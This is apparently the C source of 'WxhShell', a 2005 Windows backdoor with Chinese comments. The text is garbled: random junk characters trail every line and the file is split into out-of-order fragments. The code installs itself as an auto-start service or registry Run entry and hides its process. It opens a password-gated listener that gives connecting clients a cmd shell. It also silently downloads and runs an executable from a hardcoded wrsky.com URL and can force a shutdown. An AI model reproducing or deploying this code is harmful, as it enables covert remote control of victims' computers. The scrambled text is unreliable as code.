    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]De<'x}  
    else { XkDIP4v%  
    closesocket(wsh); 3%P<F>6 J  
    ExitThread(0); {{qu:(_g  
    } p C^d-Ii  
    break; MaN6bM  
    } 3s;^p,9 Y  
  // 获取shell *mby fu0q  
  case 's': { ;?4EVZ#o  
    CmdShell(wsh); %py3fzg  
    closesocket(wsh); T,r?% G{XE  
    ExitThread(0); shKTj5s?  
    break; $Y,y~4I  
  } h/k00hD60  
  // 退出 1 8%+ Hy=  
  case 'x': { GCZx-zD~>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9eBD)tnw  
    CloseIt(wsh); >P@g].Q-  
    break; a5cary Z"z  
    } r'8qZJgm  
  // 离开 HAwdu1$8  
  case 'q': { 5X&Y~w,poU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X lLG/N  
    closesocket(wsh); a@!(o  )>  
    WSACleanup(); o, PpD,,  
    exit(1); ?.Q$@Ih0  
    break; {>g{+Eq  
        } ia@ |+r  
  } $O3.ex V  
  } gWQ(B  
Q<0X80w>  
  // 提示信息 > 9.%hSy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V_zU?}lZ^  
} V/`vX;%  
  } jh(T?t$&  
(1 (~r"4I  
  return; 7>"dc+Fg  
} /g$G G9  
L>LIN 1A  
// shell模块句柄 U$|q]N  
int CmdShell(SOCKET sock) e.\dqt~%y  
{ ;6:9EEd  
STARTUPINFO si; bMn)lrsX  
ZeroMemory(&si,sizeof(si)); o%7-<\qS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jr5dw=B gw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DSQ2|{   
PROCESS_INFORMATION ProcessInfo; 1*" 7q9x  
char cmdline[]="cmd"; F/x2}'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4O<sE@X  
  return 0; /yHjd s  
} pT{is.RM  
:{+~i.*  
// 自身启动模式 ^hXm=r4ozR  
int StartFromService(void) KRz~3yH{ c  
{ wx^Det  
typedef struct :_}xN!9LA  
{ kDol1v`  
  DWORD ExitStatus; 4%2APvLW  
  DWORD PebBaseAddress; , # =TputM  
  DWORD AffinityMask; s_  t/  
  DWORD BasePriority; ~7 `,}) d  
  ULONG UniqueProcessId; G9NI`]k  
  ULONG InheritedFromUniqueProcessId; n]df)a  
}   PROCESS_BASIC_INFORMATION; "iTjiH)Q(  
R2v9gz;W  
PROCNTQSIP NtQueryInformationProcess; !( >U3N  
LaO8)lqR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? a#Gn2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _V 4O#;%?  
,Kl:4 Tv  
  HANDLE             hProcess; <rtKPlb//  
  PROCESS_BASIC_INFORMATION pbi; /jNvHo^B  
fcxg6W'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P0yDL:X[  
  if(NULL == hInst ) return 0; ynv{ rMl  
3_<l`6^Ns/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ").gPmC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !NH(EWER  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WG A1XQ{  
Da615d  
  if (!NtQueryInformationProcess) return 0; /v^ '5j1o  
h;,1BpbM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [0EWIdT*b  
  if(!hProcess) return 0; =* G3Khz!  
D%~tU70a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7mq&]4-G  
m^!:n$  
  CloseHandle(hProcess); o2X95NiH  
:`e#I/,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JcUU#>  
if(hProcess==NULL) return 0; }/dk2!?ig  
9 wZ?")2  
HMODULE hMod; @4hzNi+  
char procName[255]; g'KxjjYT,  
unsigned long cbNeeded; ]L97k(:Ib  
hH 5}%/vF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TKM^  
4^uSW&`;/  
  CloseHandle(hProcess); E{EO9EI  
KJRAW]?{  
if(strstr(procName,"services")) return 1; // 以服务启动 & ?xR  
Gsv<Rjj:  
  return 0; // 注册表启动 lhHH|~t0  
} kL%ot<rt)w  
0CX,"d_T,  
// 主模块 ]o8]b7-  
int StartWxhshell(LPSTR lpCmdLine) & y5"0mA  
{ ?OLd }8y  
  SOCKET wsl; W?5')  
BOOL val=TRUE; Ux7LN @4og  
  int port=0; Ez;Qo8  
  struct sockaddr_in door; JD#x+~pb,8  
[EDX@Kdq)  
  if(wscfg.ws_autoins) Install(); GuO}CQs^W  
k?Z:=.YW  
port=atoi(lpCmdLine); K_;vqi^1^&  
tsAV46S  
if(port<=0) port=wscfg.ws_port; H0;Iv#S!  
!{g<RS( c  
  WSADATA data; rz@q W2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &J)<1!|  
_;B wP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1(-!TJ{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pASX-rb  
  door.sin_family = AF_INET; 9a=Ll]=\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &cL1 EQ(  
  door.sin_port = htons(port); z~#;[bER  
qtExd~E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C< 9x\JY%  
closesocket(wsl); 2 ^m}5:0  
return 1; 6@s!J8!  
} f^FFn32u  
se\fbe^0  
  if(listen(wsl,2) == INVALID_SOCKET) { m,lZy#02s3  
closesocket(wsl); &]DB-t#\  
return 1; ?qNU*d  
} d.FU) )lmD  
  Wxhshell(wsl); $AZYY\1  
  WSACleanup(); B+K6(^j,,y  
Q,[G?vbj  
return 0; "E(i<  
o/w3b 8  
} 6;Z -Y>\c  
+4s]#{mP  
// 以NT服务方式启动 $Z:O&sD{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2)n`Bd  
{ o]4]fLQ  
DWORD   status = 0; itg_+%^R  
  DWORD   specificError = 0xfffffff; cD0rU8x  
{Sf[<I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,WRm{ v0f^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U05;qKgkDF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OP`f[lCiL  
  serviceStatus.dwWin32ExitCode     = 0; hx9{?3#  
  serviceStatus.dwServiceSpecificExitCode = 0; --WQr]U/  
  serviceStatus.dwCheckPoint       = 0; /K#k_k  
  serviceStatus.dwWaitHint       = 0; I8Aq8XBw  
_~z oMdT!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5dePpFD5  
  if (hServiceStatusHandle==0) return; ~w? 02FU  
e$J>z {  
status = GetLastError(); C^L+R7  
  if (status!=NO_ERROR) M]s\F(*ib  
{ pR61bl)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i>YS%&O?  
    serviceStatus.dwCheckPoint       = 0; e$Ksn_wEq  
    serviceStatus.dwWaitHint       = 0; BS9VwG <Z  
    serviceStatus.dwWin32ExitCode     = status; 7%y$^B7{  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ln8Cpbca  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ib=)N)l  
    return; Dh8ECy5k<*  
  }  k,:W]KD  
=Kd'(ct  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +<a\0FsD  
  serviceStatus.dwCheckPoint       = 0; jE*{^+n  
  serviceStatus.dwWaitHint       = 0; 7*l$ i/!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cUY-  
} iFd !ED  
{ ADd[V  
// 处理NT服务事件,比如:启动、停止 fpR|+`k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PVIOe}N  
{ /65YHXg,  
switch(fdwControl) -G(me"Cu  
{ .nPOjwEx&Y  
case SERVICE_CONTROL_STOP: JOJ.79CT  
  serviceStatus.dwWin32ExitCode = 0; XQo\27Fo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;|q<t  
  serviceStatus.dwCheckPoint   = 0; A NhqS  
  serviceStatus.dwWaitHint     = 0; iXDG-_K  
  { 9{u=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F7DA~G!  
  } DpRMXo[  
  return; YnEyL2SuU  
case SERVICE_CONTROL_PAUSE: 'H5 30Y\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |0n )U(  
  break; 6 9>@0P  
case SERVICE_CONTROL_CONTINUE: g(@F`W[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Hx}.?1  
  break; 7hHID>,o9%  
case SERVICE_CONTROL_INTERROGATE: 0V:H/qu8>  
  break; |'h (S|  
}; L/i'6(="  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z@,pT"rb  
} 1}d F,e  
Va8 }JD  
// 标准应用程序主函数 )ros-d p`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LCivZ0?|X  
{ v \:AOY'  
\n{# r`T  
// 获取操作系统版本 &<t%u[3  
OsIsNt=GetOsVer(); 0>28o.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;/Hr ZhOE  
"*bLFORkq'  
  // 从命令行安装 K(+=V)'Dz  
  if(strpbrk(lpCmdLine,"iI")) Install(); UD-+BUV  
|{#St-!-7  
  // 下载执行文件 Ok!P~2J  
if(wscfg.ws_downexe) { ]64Pk9z=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tx09B)0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ji/`OS-iq  
} }F>RI jj  
v3DK0MW  
if(!OsIsNt) { 2u]G]: ml  
// 如果时win9x,隐藏进程并且设置为注册表启动  ``/L18  
HideProc(); % !@E)%d0  
StartWxhshell(lpCmdLine); jj{:=l ZB  
} p/{%%30ke  
else In?rQiD9  
  if(StartFromService()) ^T&{ORWz  
  // 以服务方式启动 WsHD Ip  
  StartServiceCtrlDispatcher(DispatchTable); j,OA>{-$  
else d]E=w6 +;Q  
  // 普通方式启动  .\oz  
  StartWxhshell(lpCmdLine); Ic'D# m  
G#%Sokkb'  
return 0; & DP"RWT/  
} TCp9C1Q4  
<Y`(J#  
/dCsZA  
~cm4e>o  
=========================================== $n<1D -0!r  
-b!?9T?}  
RvR.t"8  
W> TG?hH  
^&;,n.X5Z  
p*<Jg l  
" /we]i1-9  
-53c0g@X  
#include <stdio.h> =X'[r  
#include <string.h> ~i1 jh:,  
#include <windows.h> Uh.swBC n  
#include <winsock2.h> o(tJc}Mh+(  
#include <winsvc.h> w[GEm,ZC  
#include <urlmon.h> |eRE'Wd0  
zfop-qDOc  
#pragma comment (lib, "Ws2_32.lib") ,u}wW*?,sT  
#pragma comment (lib, "urlmon.lib") + E{[j  
ozY$}|sjDT  
#define MAX_USER   100 // 最大客户端连接数 H^'%$F?Ss  
#define BUF_SOCK   200 // sock buffer G&h@  
#define KEY_BUFF   255 // 输入 buffer F:jNv3W1  
+(!/(2>~  
#define REBOOT     0   // 重启 uihH")Mo  
#define SHUTDOWN   1   // 关机 \:@6(e Bh  
Wrp~OF0k  
#define DEF_PORT   5000 // 监听端口 y{M7kYWtHV  
r 1HG$^  
#define REG_LEN     16   // 注册表键长度 Kb ]}p  
#define SVC_LEN     80   // NT服务名长度 ,~3rY,y-  
^P,Pj z  
// 从dll定义API "EpH02{i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,x\qYz+7|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %vO(.A+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `\@n&y[`7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :?UcD_F  
<oXBkCi0r  
// wxhshell配置信息 3[Q7'\  
struct WSCFG { E,d<F{=8,o  
  int ws_port;         // 监听端口 29=ob("  
  char ws_passstr[REG_LEN]; // 口令 s/ABT.ZO  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8Y-*rpLy  
  char ws_regname[REG_LEN]; // 注册表键名 o_}?aI~H  
  char ws_svcname[REG_LEN]; // 服务名 6D ]fDeH\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4M%|N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /,S VG1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t;+b*S6D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j3&q?1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "$N$:B@U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jOCV)V9}  
- "zW"v)\  
}; ;'Hu75ymo  
8GBKFNR 8  
// default Wxhshell configuration E q4tcZ  
struct WSCFG wscfg={DEF_PORT, #6a!OQj  
    "xuhuanlingzhe", l[~$9C'ji  
    1, @|cHDltH  
    "Wxhshell", E-1u_7  
    "Wxhshell", Z;N3mD+\ye  
            "WxhShell Service", .RmFYV0,  
    "Wrsky Windows CmdShell Service", sf$hsPC^  
    "Please Input Your Password: ", 6*B%3\z)  
  1, GPni%P#a@0  
  "http://www.wrsky.com/wxhshell.exe", ts<\n-f  
  "Wxhshell.exe" rV\G/)xL  
    }; UB+~K/  
/*;a6S8q  
// 消息定义模块 '__>M>[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \5tG>>c i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3XB`|\:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t;Z9p7rk  
char *msg_ws_ext="\n\rExit."; +wz1kPRs  
char *msg_ws_end="\n\rQuit."; 7:g_:}m  
char *msg_ws_boot="\n\rReboot..."; 4Y'Ne2M{  
char *msg_ws_poff="\n\rShutdown..."; #8L: .,AYE  
char *msg_ws_down="\n\rSave to "; khjdTq\\  
]i075bO/  
char *msg_ws_err="\n\rErr!"; &KBDrJEX  
char *msg_ws_ok="\n\rOK!"; 5mV!mn:H:  
8 a)4>B  
char ExeFile[MAX_PATH]; 8+Tv@  
int nUser = 0; ]O}e{Q>  
HANDLE handles[MAX_USER]; XzIC~}  
int OsIsNt; i`52tH y_  
ie[X7$@  
SERVICE_STATUS       serviceStatus; _1RvK? ;.{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2ZV; GS#  
t ]Ln(r  
// 函数声明 1.u^shc&|  
int Install(void); UUDbOxD^w  
int Uninstall(void); f6J]=9jU  
int DownloadFile(char *sURL, SOCKET wsh); \^0>h`[  
int Boot(int flag); tBkgn3w  
void HideProc(void); Q_p&~PNy5  
int GetOsVer(void); iz;5:  
int Wxhshell(SOCKET wsl); /JRZ?/<1  
void TalkWithClient(void *cs); |%5pzYe  
int CmdShell(SOCKET sock); O*/%z r  
int StartFromService(void); S]=.p-Am  
int StartWxhshell(LPSTR lpCmdLine); S0OL;[*.  
ZD]{HxGL!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fJ\?+,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ] 7[#K^  
*.eeiSi{  
// 数据结构和表定义 E$z-|-{>  
SERVICE_TABLE_ENTRY DispatchTable[] = cQxUEY('+  
{ TDZ==<C  
{wscfg.ws_svcname, NTServiceMain}, @"h4S*U  
{NULL, NULL} #-Mr3  
}; Wm"q8-<<  
8.jf6   
// 自我安装 "6IZf>N@#  
int Install(void) 1`|Z8Jpocj  
{ 0827z  
  char svExeFile[MAX_PATH]; h3.CvPYy1  
  HKEY key; g||EjCsp  
  strcpy(svExeFile,ExeFile); :FU?vh$)  
@i> r(X  
// 如果是win9x系统,修改注册表设为自启动 Z3MhHvvgp{  
if(!OsIsNt) { F5+F O^3E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M  hW9^?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wO.d;SK  
  RegCloseKey(key); 7bbFUUUG"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HCrQ+r{g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LUxDP#~7  
  RegCloseKey(key); W$wX[  
  return 0; Rs{8vV  
    } LEjq<t1&  
  } uWClT):  
} JFc, f  
else { (!8b$) k  
F (kq  
// 如果是NT以上系统,安装为系统服务 F{QOu0$cA4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "0nsYE  
if (schSCManager!=0) AH/^v;-  
{ GK-P6d  
  SC_HANDLE schService = CreateService hC8WRxEGq  
  ( 8a@k6OZ  
  schSCManager, u4T$  
  wscfg.ws_svcname, q9_AL8_  
  wscfg.ws_svcdisp, y5=,q]Qjk[  
  SERVICE_ALL_ACCESS, 6/3E!8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yKrb GK*=_  
  SERVICE_AUTO_START, BI%~0 Gj8  
  SERVICE_ERROR_NORMAL, -1B.A  
  svExeFile, 6ERMn"[_w  
  NULL, #wT6IU1  
  NULL, x&J\swN9  
  NULL, KwMt@1Z  
  NULL, Fhllqh)  
  NULL k7@QFw4 j  
  ); ]=ApYg7!  
  if (schService!=0) P5B,= K>r  
  { YCStX)r  
  CloseServiceHandle(schService); GPGP teC  
  CloseServiceHandle(schSCManager); H-&27?s^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T<>B5G~%  
  strcat(svExeFile,wscfg.ws_svcname); ?(R#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E0VAhN3G\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u59l)8=  
  RegCloseKey(key); A{-S )Z3}  
  return 0; fnr8{sr.2Z  
    } OESKLjFt  
  } WY>$.e  
  CloseServiceHandle(schSCManager);  h#}w18l  
} F4-rPv  
} stfniV  
V&ETt.91Ft  
return 1; u"oO._a(  
} 3B%7SX  
o ~y{9Q  
// 自我卸载 oDD"h,Z  
int Uninstall(void) !hfpa_5  
{ EUI*:JU-  
  HKEY key; :+>7m  
w(`g)`  
if(!OsIsNt) { *2~WP'~PQd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mE{QTZS  
  RegDeleteValue(key,wscfg.ws_regname); H[s+.&^  
  RegCloseKey(key); GTfM *b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aj|PyX3P:  
  RegDeleteValue(key,wscfg.ws_regname); S]%,g%6i  
  RegCloseKey(key); Xl2g Hh  
  return 0;  ? .SiT5  
  } ]D5Maid+  
} Md>C!c  
} yc9!JJMkH  
else { nG5\vj,zB  
3t.!5 L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v4E=)?  
if (schSCManager!=0) 'l\PL1  
{ >oyf i:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bcT_YFLQ  
  if (schService!=0) YWd2bRb  
  { `)]W~  
  if(DeleteService(schService)!=0) { D9P,[:"  
  CloseServiceHandle(schService); eLh35tw  
  CloseServiceHandle(schSCManager); kR^">s/H#  
  return 0; MIkp4A  
  } .eVX/6,  
  CloseServiceHandle(schService); gn/]1NNfR  
  } O^./) #!#  
  CloseServiceHandle(schSCManager); SfPQ;s'  
} ,vvfk=-  
} 8Vn   
1V[ZklS  
return 1; saZK+kD4I  
} q[P>s{"  
QaEiPn~  
// 从指定url下载文件 A0A|cJP  
int DownloadFile(char *sURL, SOCKET wsh) W[`ybGR<  
{ ^Lfwoy7R  
  HRESULT hr; ZBY}Mz$  
char seps[]= "/"; L3Y2HZ  
char *token; C^'r>0  
char *file; /<[_V/g[t?  
char myURL[MAX_PATH]; la)+"uW  
char myFILE[MAX_PATH]; dn])6Xl;i  
0Qeda@J  
strcpy(myURL,sURL); S?i^ ~  
  token=strtok(myURL,seps); 5M'cOJ  
  while(token!=NULL) yyu-y0_  
  { cf>lY  
    file=token; * Uy>F[%@  
  token=strtok(NULL,seps); +&f_k@+  
  } ,Iz9!i J"  
Yyd}>+|<,  
GetCurrentDirectory(MAX_PATH,myFILE); !~F oy F  
strcat(myFILE, "\\"); S{2;PaK  
strcat(myFILE, file); 8'3&z-  
  send(wsh,myFILE,strlen(myFILE),0); 0^J%&1aIc  
send(wsh,"...",3,0); 4%qmwt*p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X1o R  
  if(hr==S_OK) s8]%L4lvu  
return 0; nSSJl  
else jZidT9[g  
return 1; U)-aecB!  
avG#0AY  
} \,p?pL<'  
)q4nyT>M  
// 系统电源模块 >a2[P"   
int Boot(int flag) .^F&6'h1H  
{ U{l f$  
  HANDLE hToken; `aX+Gz?  
  TOKEN_PRIVILEGES tkp; DtGkhq;  
W2$rC5|  
  if(OsIsNt) { 7g{JE^u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8,+T[S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |mWSS'7fI  
    tkp.PrivilegeCount = 1; j+AZ!$E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W6EEC<$JL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); twldwuN  
if(flag==REBOOT) { !}U3{L-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x7l}u`N4  
  return 0; 75R4[C6T  
} og+Vrd  
else { mGP%"R2X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }mZCQJ#`  
  return 0; ^_G#JJ\@$  
} &"tQpw5  
  } ny^uNIRPR  
  else { q |Pebe=  
if(flag==REBOOT) { =w_T{V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oliVaavj  
  return 0; v\!Cq+lFML  
} Edh9=sxL  
else { {nA+-=T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~KGE(o4p  
  return 0; T=V{3v@zs  
} $[cB6  
} UDcr5u eKn  
IWN18aaL?  
return 1; S$wC{7?f  
} 'i3-mZ/|8  
O@H D'  
// win9x进程隐藏模块 w\Q(wH'  
void HideProc(void) l&] %APL  
{ MB>4Y]rtU  
Z *l&<q>#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~]W @+\l  
  if ( hKernel != NULL ) 066\zAPdH  
  { `+TC@2-?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '{JMWNY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {~EsO1p  
    FreeLibrary(hKernel); }\N ~%?6D  
  } {}" <  
d--6<_q  
return; u, 72Mm>  
} r`)'Kd  
+\PLUOk  
// 获取操作系统版本 n^G[N-\3  
int GetOsVer(void) +W[{UC4b  
{ 0_^3 |n  
  OSVERSIONINFO winfo; <7ag=IgDy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NgxJz ]b  
  GetVersionEx(&winfo); HPO:aGU   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tg/!=g  
  return 1; 4 l+z  
  else V%M@zd?u.  
  return 0; Iz#jR2:yn  
} JGzEm>_ m  
T`I4_x  
// 客户端句柄模块 !14v Ovj4{  
int Wxhshell(SOCKET wsl) cZ.p  
{ @v /Ae_q!  
  SOCKET wsh; 0Y~5|OXJ  
  struct sockaddr_in client; 1Sns$t%b  
  DWORD myID; 3ox|Mz<aZX  
h: z$uG  
  while(nUser<MAX_USER) daQJ{Cd,w  
{ dt<P6pK-  
  int nSize=sizeof(client); &)!N5Veb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `v/p4/  
  if(wsh==INVALID_SOCKET) return 1; 7Z}T!HFMr  
KlwB oC/{K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e<u~v0rDl  
if(handles[nUser]==0) Fb{HiU9<!  
  closesocket(wsh); 1[RI 07g7*  
else vBY?3p,0p  
  nUser++; kk CoOTe&  
  } [-)BI|S:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?%Pi#%P  
vhU $GG8  
  return 0; XzBl }4s  
} 56Lt "Z F  
a63Ud<_a7  
// 关闭 socket 01%0u8U  
void CloseIt(SOCKET wsh) gHWsKE  %  
{ m{yq.H[X  
closesocket(wsh); NeewV=[%  
nUser--; W{}M${6&  
ExitThread(0); 2rf#Bq?7  
} K1- 3!G  
sa"!ckh  
// 客户端请求句柄 ~Bt >Y  
void TalkWithClient(void *cs) )o::~ eu  
{ ~!Rf5QA85  
b|.<rV'BTt  
  SOCKET wsh=(SOCKET)cs; B-$ps=G+z  
  char pwd[SVC_LEN]; }qhND-9#@  
  char cmd[KEY_BUFF]; OR10IS  
char chr[1]; |Yi_|']#  
int i,j; &c= 3BEh  
4%jQHOZ  
  while (nUser < MAX_USER) { cm>+f^4?n  
~^g*cA t}  
if(wscfg.ws_passstr) { %W2 o`W$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S)^eHuXPI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jyRz53  
  //ZeroMemory(pwd,KEY_BUFF); 'L%)B-,n  
      i=0; kxY9[#:<fB  
  while(i<SVC_LEN) { ;l@Ge`&u  
xUB{{8B:L  
  // 设置超时 bg*@N  
  fd_set FdRead; SXV f&8  
  struct timeval TimeOut; =d JRBl  
  FD_ZERO(&FdRead); ~y:?w(GD  
  FD_SET(wsh,&FdRead); 1=jwJv.^/  
  TimeOut.tv_sec=8; #]wBXzu?  
  TimeOut.tv_usec=0; '"V]>)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e= ",58  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1L _(n  
MnW"ksH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;'4Kg@/  
  pwd=chr[0]; }~ga86:n0  
  if(chr[0]==0xd || chr[0]==0xa) { n=h!V$X   
  pwd=0; ^QTkre  
  break; zgSv -h+f  
  } `S]DHxS  
  i++; B!1L W4^  
    } vPu {xy  
XiyL563gh  
  // 如果是非法用户,关闭 socket ,LDdL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zj;Ktgc E  
} ,Mu"r!MK  
]ex2c{ G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tj" EUqKQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); arn7<w0  
o{MmW~/o&  
while(1) { 9 E  
| Fk9ME  
  ZeroMemory(cmd,KEY_BUFF); hJoh5DIE95  
4~0 @(3  
      // 自动支持客户端 telnet标准   r 4+%9)  
  j=0; -lI6!a^  
  while(j<KEY_BUFF) { $w! v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t&(\A,ch%  
  cmd[j]=chr[0]; N6/;p]|  
  if(chr[0]==0xa || chr[0]==0xd) { N8`q.;qewz  
  cmd[j]=0; 0F[+rh"x  
  break; U0dhr;l  
  } )s8{|)-  
  j++; pRh)DM#9  
    } e:iqv?2t  
J<ZG&m362p  
  // 下载文件 /h K/t;  
  if(strstr(cmd,"http://")) { BHIC6i%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m/1;os5+8  
  if(DownloadFile(cmd,wsh)) R-BN}ZS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)xz_Plc  
  else !;&{Q^}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MZ <BCRB  
  } 7j{63d`2  
  else { _n!W4zwi  
axiP~t2  
    switch(cmd[0]) { h8?E+0  
  NGuRyZp69&  
